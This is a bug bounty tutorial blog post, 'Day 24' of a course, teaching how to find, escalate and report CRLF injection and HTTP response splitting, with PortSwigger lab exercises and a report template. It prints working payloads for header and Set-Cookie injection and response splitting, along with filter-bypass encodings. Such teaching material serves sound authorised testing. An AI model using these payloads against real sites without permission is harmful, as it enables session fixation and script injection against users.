HTTP headers are separated by a specific two-character sequence: carriage return followed by line feed, written as \r\n or in URL encoding as %0d%0a. Web servers treat every occurrence of this sequence as the end of one header and the beginning of the next. When an application takes a value from a URL parameter and puts it directly into a response header — a Location redirect, a Set-Cookie header, a custom header — and that parameter can contain %0d%0a characters without filtering, I can inject my own headers into the response. That’s CRLF injection. With two CRLF sequences (%0d%0a%0d%0a), I can inject an entirely new HTTP response. With a crafted Set-Cookie header, I can fix a session. With injected HTML after a double-CRLF, I can execute JavaScript on the target domain. Today I’m showing you exactly how to find, test, and report CRLF injection — and how to escalate it to its maximum impact before filing your report. Just a miss from my end that i missed Day 24 and there is a reason for that, you will know why.
🎯 After Day 24
Understand the HTTP header structure that makes CRLF injection possible
Test for CRLF injection using URL-encoded payloads across redirect and header parameters
Escalate CRLF injection to XSS via HTTP response splitting
Inject Set-Cookie headers to demonstrate session fixation capability
Write a complete bug bounty report that demonstrates the maximum impact chain
Day 23 covered WebSocket vulnerabilities — a relatively modern protocol attack surface. Today’s CRLF injection is a classic web vulnerability that’s been around since the early 2000s but still appears regularly on bug bounty programs because developers keep making the same mistake: reflecting unsanitised user input into HTTP headers.
How CRLF Injection Works
HTTP/1.1 responses use CRLF (\r\n) to separate headers from each other and a double CRLF (\r\n\r\n) to separate headers from the response body. When an application builds an HTTP response by concatenating user input into header values without filtering newlines, injecting %0d%0a (CRLF) characters allows the user to insert additional headers — or terminate the header section entirely and inject an arbitrary response body.
CRLF INJECTION — HOW IT BREAKS HTTP RESPONSE STRUCTURE
# Legitimate redirect response
HTTP/1.1 302 Found
Location: https://example.com/dashboard
Content-Type: text/html
# Vulnerable code (PHP example)
header(“Location: ” . $_GET[‘url’]);
# Attacker request
GET /redirect?url=https://example.com%0d%0aSet-Cookie:+session=evil HTTP/1.1
# Result — CRLF splits the Location header
HTTP/1.1 302 Found
Location: https://example.com
Set-Cookie: session=evil ← INJECTED
Content-Type: text/html
Finding Injection Points
CRLF injection lives wherever user input appears in response headers. My primary targets on any bug bounty scope: redirect parameters (next=, return=, redirect=, url=), login/logout endpoints that redirect post-action, URL canonicalisation redirects, and any endpoint that echoes custom headers from the request back in the response.
CRLF INJECTION TESTING — METHODOLOGY
# Step 1: Identify parameters reflected in response headers
GET /redirect?url=FUZZ_HERE HTTP/1.1
# Check response: does FUZZ_HERE appear in Location header?
# Step 2: Test basic CRLF injection
GET /redirect?url=https://example.com%0d%0aX-Injected:+test HTTP/1.1
# VULNERABLE: response contains X-Injected: test header
# NOT VULN: %0d%0a stripped or encoded → no new header
# Step 3: Try LF-only injection (%0a)
GET /redirect?url=https://example.com%0aX-Injected:+test HTTP/1.1
CRLF injection has a large collection of real disclosed reports. Reading 3 real reports before testing gives you the mental model of what validators look for and what gets paid versus rejected.
Step 1: Find CRLF injection reports on HackerOne
Go to: hackerone.com/hacktivity
Search: “CRLF injection” or “HTTP response splitting”
Find 3 disclosed reports. For each note:
– What was the vulnerable parameter?
– What header was injected?
– Was it escalated to XSS or session fixation?
– What was the payout?
Step 2: Read PortSwigger’s CRLF lab description
Go to: portswigger.net/web-security/response-manipulation
What does PortSwigger classify as the highest-impact CRLF exploit?
What does “HTTP response splitting” enable beyond header injection?
Step 3: Find a publicly known CRLF injection instance
Search: “CRLF injection redirect parameter site:medium.com”
What redirect parameters (?next=, ?return=, ?url=) were most commonly vulnerable?
What was the recommended remediation in the writeup?
Step 4: Check which bug bounty programs accept CRLF
Look at 3 major programs’ security policy pages
Do they list CRLF injection as in-scope?
What minimum severity do they assign to it?
Step 5: Build your CRLF test checklist
Based on research: list the top 5 parameter names most
commonly vulnerable to CRLF injection.
List the top 3 CRLF test payloads to try first.
✅ The payout analysis (Step 1) is the most instructive part. You’ll find that CRLF injection payouts vary enormously based on demonstrated impact: basic injection with no further exploit is $100-300 on most programs, while CRLF-to-XSS chains on high-value targets are $1,000-5,000. The lesson: never file CRLF injection without first attempting to escalate. Your checklist (Step 5) is a reusable artifact — the same parameter names and payloads apply across every target you test.
📸 Share your CRLF test checklist in #bug-bounty.
HTTP Response Splitting
Response splitting is the maximum-impact CRLF exploit: injecting a double CRLF sequence terminates the HTTP response headers entirely and begins a new response body. With a full response split, I can inject arbitrary HTML and JavaScript into a response from the target domain.
HTTP RESPONSE SPLITTING — XSS VIA CRLF
# Payload: double CRLF terminates headers, injects full response
# Note: modern browsers mitigate response splitting in many cases
# Set-Cookie injection is more reliably impactful in 2026
securityelites.com
CRLF Injection — Severity Escalation Ladder
LOW — Header Injection, No Exploit
%0d%0aX-Custom: injected → header appears in response, no impact
Payout: $50–$200
↑ escalate
MEDIUM — Set-Cookie Injection
%0d%0aSet-Cookie: session=attacker → cookie injected into victim’s browser
Payout: $300–$1,500
↑ escalate
HIGH — XSS via Response Splitting
Double CRLF → injected HTML/JS executes on target.com domain
Payout: $1,000–$5,000
↑ escalate
CRITICAL — Cache Poisoning via CRLF
Injected response cached and served to all users → persistent XSS at scale
Payout: $3,000–$15,000+
📸 CRLF injection severity escalation ladder. Never file at the lowest level without attempting escalation. A CRLF injection that injects X-Custom: injected is worth $100. The same injection point, escalated to Set-Cookie session fixation, is worth $1,000. The same point escalated to cached XSS affecting all users is worth $10,000+. The injection point is the same — the report quality and impact demonstration determine the payout.
Set-Cookie Injection — Session Fixation
Set-Cookie header injection via CRLF is the most reliably demonstrable high-impact escalation in 2026, because response splitting behaviour varies by browser and proxy. Injecting a Set-Cookie header forces the victim’s browser to store a cookie value the attacker controls. If the application uses that cookie for authentication, the attacker can fix the session to a known value before the victim logs in, then use that same session value to hijack the authenticated session.
SET-COOKIE INJECTION VIA CRLF
# Payload: inject Set-Cookie header
GET /login?next=https://target.com%0d%0aSet-Cookie:+session%3Dattacker123%3B+Path%3D%2F HTTP/1.1
# LF-only (some servers are vulnerable without CR)
%0a
# Unicode variants
%u000d%u000a
# Backslash-r-n (some parsers interpret these)
%5Cr%5Cn (URL encoded backslash-r-n)
# Tab as header separator (some servers)
%0d%0a%09 (CRLF + tab)
⚙️ EXERCISE 2 — SETUP LAB (25 MIN · BURP SUITE)
Test CRLF Injection Against PortSwigger Web Security Academy
⏱️ 25 minutes · Burp Suite + PortSwigger Academy (free)
PortSwigger provides CRLF injection labs that confirm the technique against a real vulnerable application in a legal practice environment. Working through the lab with Burp Repeater builds the manual testing muscle memory that automated scanners don’t.
Step 1: Access PortSwigger CRLF lab
Go to: portswigger.net/web-security/response-manipulation
OR search: portswigger crlf injection lab
“Access the lab” → opens vulnerable app
Step 2: Find the CRLF injection point
Use Burp Suite as proxy
Browse the lab application — look for redirect parameters
Identify any parameter whose value appears in response headers
Step 3: Test basic CRLF injection in Burp Repeater
In Burp Repeater, send:
GET /[endpoint]?[param]=test%0d%0aX-CRLF-Test:+injected HTTP/1.1
Check Response tab → Headers
Is X-CRLF-Test: injected present?
Step 4: Escalate to Set-Cookie injection
GET /[endpoint]?[param]=test%0d%0aSet-Cookie:+session%3Dcrlftest HTTP/1.1
Check response for injected Set-Cookie header
Check browser (Application → Cookies) — is crlftest set?
Step 5: Attempt response splitting
GET /[endpoint]?[param]=test%0d%0aContent-Length:+0%0d%0a%0d%0a%3Ch1%3ECRLF-Split%3C/h1%3E HTTP/1.1
Does H1>CRLF-Split appear in the response body?
Step 6: Try encoding bypass if Step 3 failed
Replace %0d%0a with %250d%250a in the Step 3 payload
Does double encoding bypass the filter?
✅ The encoding bypass test (Step 6) is the real skill separator. If basic %0d%0a is blocked, most hunters stop and mark the endpoint as not vulnerable. Systematic bypass testing — trying at least double-encoding, LF-only, and Unicode variants — finds the CRLF injections that everyone else misses. The Set-Cookie confirmation via browser Application tab (Step 4) is the screenshot evidence that makes your bug report immediately convincing — seeing an injected cookie appear in the browser’s cookie storage is more compelling than a Burp response screenshot alone.
📸 Screenshot the injected Set-Cookie in Burp response headers. Share in #bug-bounty.
Reporting for Maximum Payout
CRLF injection reports should always demonstrate the highest achievable impact. My report structure: confirm injection → demonstrate Set-Cookie escalation → attempt response splitting XSS → report the highest-impact variant with full chain. If Set-Cookie injection works, show the session fixation attack chain even without completing it — the mechanism is sufficient for High severity triage.
🔬 EXERCISE 3 — LAB (20 MIN · BURP SUITE)
Build a Complete CRLF Injection Report From a PortSwigger Finding
⏱️ 20 minutes · Burp Suite + report writing
Using the CRLF injection you confirmed in Exercise 2, write a complete bug bounty report following the high-payout template. The discipline is in the documentation — from confirmed injection to full report takes 15 minutes if you have the screenshots.
Using your Exercise 2 finding, complete this report template:
TITLE: CRLF Injection at [endpoint] Enables [highest impact you found]
SEVERITY: [Low/Medium/High based on demonstrated impact]
DESCRIPTION (2-3 sentences, no jargon):
What is the vulnerability?
What header is injectable?
What does this enable?
STEPS TO REPRODUCE (exact, numbered):
1. Navigate to: [exact URL]
2. Send request: [exact request with payload]
3. Observe: [exact response showing injection]
4. [Escalation step if applicable]
IMPACT:
“An attacker who sends this link to a victim causes [exact business impact]”
Write this for a non-technical programme triage engineer.
REMEDIATION:
Filter CRLF characters (\r\n) from all user input before including
in HTTP response headers. Use allowlist validation for redirect URLs.
Reference: OWASP HTTP Response Splitting prevention.
After writing: self-assess your report.
Would you understand this from the triage engineer’s seat?
Could you reproduce it from the Steps alone?
Does the Impact section explain business risk clearly?
✅ The self-assessment questions at the end are the most valuable part. Every report you write should be reviewed from the triage engineer’s perspective before submission. If the Steps to Reproduce require any interpretation or guesswork, they’re not precise enough. If the Impact section uses technical terms a non-security manager wouldn’t understand, rewrite it. Reports that fail this self-assessment get triaged lower than they deserve — not because the finding isn’t valid, but because the report doesn’t communicate its value effectively.
📸 Share your completed report (anonymised PoC details) in #bug-bounty. Tag #Day24
🏆 Day 24 Complete — CRLF Injection
CRLF mechanics, injection point identification, Set-Cookie escalation, response splitting XSS, encoding bypasses, and the full report template. CRLF injection is one of those vulnerability classes that rewards systematic escalation — the finding that pays $100 at basic injection level pays $2,000 at Set-Cookie level and $5,000 at XSS level with no additional discovery work. Day 25 moves to Host Header Injection — a vulnerability class with an even more direct account takeover chain via password reset poisoning.
🧠 Quick Check
You test a redirect endpoint with ?next=https://example.com%0d%0aX-Test: injected and the response does NOT contain the X-Test header. Does this mean the endpoint is not vulnerable to CRLF injection?
❓ Frequently Asked Questions — CRLF Injection
What is CRLF injection?
A vulnerability where injecting \r\n (carriage return + line feed, URL: %0d%0a) into user input reflected in HTTP response headers allows adding arbitrary headers. Two CRLF sequences terminate the header section entirely and enable injecting an arbitrary response body (HTTP response splitting).
How is CRLF different from HTTP response splitting?
CRLF injection is the broad class: injecting headers via %0d%0a. Response splitting is the specific exploit using a double CRLF (\r\n\r\n) to inject a complete second HTTP response, enabling XSS and cache poisoning. Response splitting requires two CRLF sequences; header injection requires one.
What severity is CRLF injection in bug bounty?
Depends on impact: basic injection with no exploit is Low-Medium ($100-500); Set-Cookie session fixation is Medium-High ($500-2,000); XSS via response splitting is High ($1,000-5,000); cache poisoning affecting all users is Critical ($3,000-10,000+). Always escalate before reporting.
What encodings should I test for CRLF?
Standard %0d%0a, double-encoded %250d%250a, LF-only %0a, Unicode %u000d%u000a, and various combinations. Some WAFs block standard encoding but miss double-encoded or Unicode variants. Test all variants systematically.
Which tools detect CRLF automatically?
Burp Suite Pro active scanner, Dalfox (includes CRLF detection alongside XSS), and OWASP ZAP active scan. Manual testing with Burp Repeater is most reliable for confirming injections and testing bypass encodings that automated tools miss.
Where does CRLF injection most commonly occur?
Redirect parameters (next=, return=, url=, redirect=) where values appear in Location headers; logging endpoints where user input writes to server-side logs; custom header reflection; and URL path canonicalisation redirects where path components appear in Location headers.
← Previous
Day 23: WebSocket Bug Bounty 2026
Next →
Day 25: Host Header Injection — Password Reset Poisoning
📚 Further Reading
Day 23 — WebSocket Bug Bounty— Yesterday’s protocol-level attack surface. WebSocket and CRLF injection both exploit header handling — understanding the full HTTP/WebSocket header processing picture improves your detection of both.
Day 25 — Host Header Injection— Tomorrow’s related vulnerability: Host header injection exploits trusted header values similarly to CRLF, but specifically targets password reset URL generation for account takeover chains.
Web Application Security Hub— Full coverage of HTTP injection vulnerability classes: CRLF, Host Header, SSRF, and header-based attack surfaces with lab walkthroughs and bug bounty templates for each.
PortSwigger — HTTP Response Manipulation— PortSwigger’s authoritative CRLF injection reference with interactive labs. The labs provide confirmed-vulnerable targets for practising header injection, response splitting, and Set-Cookie escalation.
OWASP — HTTP Response Splitting— OWASP’s technical reference for HTTP response splitting — the high-severity escalation of CRLF injection. Covers attack mechanics, impact classification, and prevention guidance referenced in remediation recommendations.
ME
Mr Elite
Owner, SecurityElites.com
The CRLF injection finding I’m most proud of wasn’t the most technically complex — it was on a login redirect endpoint that everyone else had tested and dismissed after trying %0d%0a (blocked) and moving on. I tried %250d%250a and got the injected header. Then I spent 30 minutes escalating: Set-Cookie injection confirmed session fixation capability. The report went in as High with a full session fixation chain demonstration. Payout was 8x what the basic injection would have received. The technical work was 2 hours total. The payout multiplier came entirely from the escalation discipline and the extra 15 minutes of bypass testing. That’s the lesson I carry into every CRLF test.
